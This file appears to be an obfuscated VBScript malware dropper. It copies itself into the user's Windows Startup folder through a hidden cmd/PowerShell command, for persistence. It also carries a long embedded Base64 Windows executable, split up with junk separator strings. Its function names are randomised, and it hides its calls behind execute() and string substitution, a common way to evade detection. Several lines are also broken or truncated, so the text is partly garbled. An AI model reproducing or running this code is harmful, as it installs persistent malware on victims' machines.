RBMvJWNWybcnPyTQcMeg = JuHDLPIoKLUqfpbjmCpT.GetParentFolderName(tojeWWOwqCGYaPWbOByn) & "\" & JuHDLPIoKLUqfpbjmCpT.GetFileName(WScript.ScriptName)
HtHXNWJGNrwyWeDUnDiH = RBMvJWNWybcnPyTQcMeg
zmUbLrWDOKbOZKDvWYOI = QKOqYWSCOPTJcDDTJIqy(HtHXNWJGNrwyWeDUnDiH + "@$($!&!%&&(/))$(%)(
:@$($!&!%&&(/))$(%)(
:@$($!&!%&&(/))$(%)(
:@$($!&!%&&(/))$(%)(
:@$($!&!%&&(/))$(%)(
::@$($!&!%&&(/))$(%)(
:@$($!&!%&&(/))$(%)(
:@$($!&!%&&(/))$(%)(
:@$($!&!%&&(/))$(%)(
" , zmUbLrWDOKbOZKDvWYOI)
XwPSXnPyDfDJRUntCZfq = "GhU"
Dim kJAolyPLZYiDjDQSDeoH
kJAolyPLZYiDjDQSDeoH = True
NsDtOAgOPavvYRXoqGsp(kJAolyPLZYiDjDQSDeoH)
Sub NsDtOAgOPavvYRXoqGsp(eYWXKPmKXhpGglwbDDeL)
If eYWXKPmKXhpGglwbDDeL Then
DctPwcLgTWvULGLfNoPY
Else
DoNothing
End If
End Sub
Sub DctPwcLgTWvULGLfNoPY
Set PBGbIWwLPdYKptmQNKCt = CreateObject ("Wscript.Shell")
dim WGTSicGUZLiKKakKUCGB, BRILREPWLNAJDULBXENY, VZFUOYRCOTLRYDLDGJJU
WGTSicGUZLiKKakKUCGB = ")'sbv." + XwPSXnPyDfDJRUntCZfq + " \putratS\smargorP\uneM"
WGTSicGUZLiKKakKUCGB = WGTSicGUZLiKKakKUCGB + " tratS\swodniW\tfosorciM\gnimaoR\ataDppA\'"
WGTSicGUZLiKKakKUCGB = DqdoGUxZMpasmPjOUZHx(WGTSicGUZLiKKakKUCGB,"
BRILREPWLNAJDULBXENY = "[System.I"
BRILREPWLNAJDULBXENY = BRILREPWLNAJDULBXENY + "O.File]::Copy('"
BRILREPWLNAJDULBXENY = BRILREPWLNAJDULBXENY + HtHXNWJGNrwyWeDUnDiH + "',"
BRILREPWLNAJDULBXENY = BRILREPWLNAJDULBXENY + "'C:\Users\' + [Environment]::UserName + "
BRILREPWLNAJDULBXENY = BRILREPWLNAJDULBXENY + AcIqpXXBCpBGtvMlnAcH(WGTSicGUZLiKKakKUCGB)
BRILREPWLNAJDULBXENY = DqdoGUxZMpasmPjOUZHx(BRILREPWLNAJDULBXENY, AcIqpXXBCpBGtvMlnAcH("
") ,"")
VZFUOYRCOTLRYDLDGJJU = ("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -com
Onand " + BRILREPWLNAJDULBXENY )
VZFUOYRCOTLRYDLDGJJU = ZeCKBYUlYXhxDAvkqwuf(VZFUOYRCOTLRYDLDGJJU,"
On","m")
PBGbIWwLPdYKptmQNKCt.run VZFUOYRCOTLRYDLDGJJU, 0, true
End Sub
Function QKOqYWSCOPTJcDDTJIqy(DTYBUiXuWiIvTgRUOLMA,UOAjDaSkcjURBjhUoaKN)
dim nKTTuslpKLsKlAlGOKQs
nKTTuslpKLsKlAlGOKQs = "QKOqYWSCOPTJcDDTJIqy = "
nKTTuslpKLsKlAlGOKQs = nKTTuslpKLsKlAlGOKQs + "In
Ontr(DTYBUiXuWiIvTgRUOLMA, UOAjDaSkcjURBjhUoaKN)"
nKTTuslpKLsKlAlGOKQs = ZeCKBYUlYXhxDAvkqwuf(nKTTuslpKLsKlAlGOKQs,"
On","S")
execute(nKTTuslpKLsKlAlGOKQs)
End Function
Function DqdoGUxZMpasmPjOUZHx(DTYBUiXuWiIvTgRUOLMA,UOAjDaSkcjURBjhUoaKN,GuNLNNKiccDvNLOKubtL)
dim nKTTuslpKLsKlAlGOKQs
nKTTuslpKLsKlAlGOKQs = "DqdoGUxZMpasmPjOUZHx = "
nKTTuslpKLsKlAlGOKQs = nKTTuslpKLsKlAlGOKQs + "R
Onplac
nKTTuslpKLsKlAlGOKQs = ZeCKBYUlYXhxDAvkqwuf(nKTTuslpKLsKlAlGOKQs,"
On","e")
nKTTuslpKLsKlAlGOKQs = nKTTuslpKLsKlAlGOKQs + "(DTYBUiXuWiIvTgRUOLMA ,UOAjDaSkcjURBjhUoaKN, GuNLNNKiccDvNLOKubtL)"
execute(nKTTuslpKLsKlAlGOKQs)
End Function
Function AcIqpXXBCpBGtvMlnAcH(DTYBUiXuWiIvTgRUOLMA)
dim nKTTuslpKLsKlAlGOKQs
nKTTuslpKLsKlAlGOKQs = "AcIqpXXBCpBGtvMlnAcH = "
nKTTuslpKLsKlAlGOKQs = nKTTuslpKLsKlAlGOKQs + "StrR
nKTTuslpKLsKlAlGOKQs = ZeCKBYUlYXhxDAvkqwuf(nKTTuslpKLsKlAlGOKQs,"
On","e")
nKTTuslpKLsKlAlGOKQs = nKTTuslpKLsKlAlGOKQs + "(DTYBUiXuWiIvTgRUOLMA)"
execute(nKTTuslpKLsKlAlGOKQs)
End Function
HDQXHAPCWTKZQFSCRDGX = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
Set wHjXAXGDfJDxPjxgYzoWDGKZWCJNNPEFLRM = WScript.CreateObject(HDQXHAPCWTKZQFSCRDGX)
Dim BTOHWDmXPOKQwxmpxrcr
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "TVqQ##@@$%###@@$%#M#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%#E##@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%#//8#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%#Lg##@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%#Q#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%#g##@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%#4fug4##@@$%#t##@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%#nNIbgBTM0hVGhpcy"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "Bwcm9ncmFtIGNhbm5vdC"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "BiZSBydW4gaW4gRE9TIG"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "1vZGUuDQ0KJ##@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%#BQRQ##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%#T##@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "ED##@@$%#KmSsWQ##@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%#O##@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%#iEL##@@$%#V##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%#D"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "g##@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%#G##@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%#Qlc##@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%#g##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%#Y##@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%#E##@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%#g##@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%#g##@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%#B##@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%#G##@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%#Cg##@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#g##@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%#M#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%#YIU##@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%#B##@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%#B##@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%#E##@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%#E##@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%#B##@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%#PBW##@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%#BP##@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%#G##@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%#CgD##@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%#I##@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%#w##@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "I##@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%#C##@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%#CC##@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%#Eg##@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%#C50ZXh0##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%#SDc##@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%#g##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%#O##@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%#I##@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%#C##@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%#G##@@$%#u"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "cnNyYw##@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%#CgD##@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%#Y#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%#Q##@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%#6##@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%#B##@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%#B##@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "LnJlbG9j##@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%#M##@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%#I##@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#C##@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%#Pg##@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%#Q#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "Qg##@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%#kVw##@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#Eg##@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%#C##@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%#U##@@$%#sC0##@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%#Igo##@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%#D##@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%#D"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "hW##@@$%###@@$%#C4##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "###@@$%###@@$%###@@$"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "%###@@$%###@@$%###@@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "$%###@@$%###@@$%###@"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@$%###@@$%###@@$%###"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "@@$%###@@$%###@@$%##"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "#@@$%###@@$%###@@$%#"
BTOHWDmXPOKQwxmpxrcr = BTOHWDmXPOKQwxmpxrcr & "##@@$%###@@$%###@@$%"
